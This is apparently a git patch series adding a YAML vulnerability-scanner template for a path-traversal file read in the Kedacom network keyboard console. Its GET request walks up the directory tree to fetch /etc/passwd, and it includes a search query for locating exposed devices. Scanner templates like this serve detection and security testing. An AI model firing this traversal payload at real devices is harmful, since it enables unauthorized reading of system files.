From 7334dd614a9a1de7b6610f6a6e426032b1ef5727 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 4 Aug 2023 22:26:25 +0530 Subject: [PATCH 1/3] Create kodak-network-lfi.yaml --- .../other/kodak-network-lfi.yaml | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 http/vulnerabilities/other/kodak-network-lfi.yaml diff --git a/http/vulnerabilities/other/kodak-network-lfi.yaml b/http/vulnerabilities/other/kodak-network-lfi.yaml new file mode 100644 index 0000000000..2fa957ee1e --- /dev/null +++ b/http/vulnerabilities/other/kodak-network-lfi.yaml @@ -0,0 +1,38 @@ +id: kodak-network-lfi + +info: + name: Kodak Network Keyboard Console - Arbitrary File Read + author: DhiyaneshDk + severity: high + description: | + There is an arbitrary file reading vulnerability in the KEDACOM network keyboard console. Attacking this vulnerability can read arbitrary information from the server + reference: + - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E7%A7%91%E8%BE%BE%20%E7%BD%91%E7%BB%9C%E9%94%AE%E7%9B%98%E6%8E%A7%E5%88%B6%E5%8F%B0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md + metadata: + max-request: 1 + fofa-query: "网络键盘控制台" + verified: true + tags: lfi,kodak,network + +http: + - method: GET + path: + - "{{BaseURL}}/../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: word + part: header + words: + - "text/html" + - "Server: kedacom-hs" + condition: and + + - type: status + status: + - 200 From 9ead50c6c43f193ea76ffc2d8b99797683bb9076 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sat, 5 Aug 2023 10:32:12 +0530 Subject: [PATCH 2/3] typo name --- http/vulnerabilities/other/kodak-network-lfi.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/http/vulnerabilities/other/kodak-network-lfi.yaml b/http/vulnerabilities/other/kodak-network-lfi.yaml index 2fa957ee1e..bb45f9032c 100644 --- a/http/vulnerabilities/other/kodak-network-lfi.yaml +++ b/http/vulnerabilities/other/kodak-network-lfi.yaml @@ -1,7 +1,7 @@ -id: kodak-network-lfi +id: kedacom-network-lfi info: - name: Kodak Network Keyboard Console - Arbitrary File Read + name: Kedacom Network Keyboard Console - Arbitrary File Read author: DhiyaneshDk severity: high description: | @@ -12,7 +12,7 @@ info: max-request: 1 fofa-query: "网络键盘控制台" verified: true - tags: lfi,kodak,network + tags: lfi,kedacom,network http: - method: GET From 5f4dfcab5d005c30359a98d0f08cc20d16535ac5 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Mon, 7 Aug 2023 23:00:41 +0530 Subject: [PATCH 3/3] Update kodak-network-lfi.yaml --- http/vulnerabilities/other/kodak-network-lfi.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/vulnerabilities/other/kodak-network-lfi.yaml b/http/vulnerabilities/other/kodak-network-lfi.yaml index bb45f9032c..c39b7ff202 100644 --- a/http/vulnerabilities/other/kodak-network-lfi.yaml +++ b/http/vulnerabilities/other/kodak-network-lfi.yaml @@ -10,8 +10,8 @@ info: - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E7%A7%91%E8%BE%BE%20%E7%BD%91%E7%BB%9C%E9%94%AE%E7%9B%98%E6%8E%A7%E5%88%B6%E5%8F%B0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md metadata: max-request: 1 - fofa-query: "网络键盘控制台" verified: true + fofa-query: "网络键盘控制台" tags: lfi,kedacom,network http: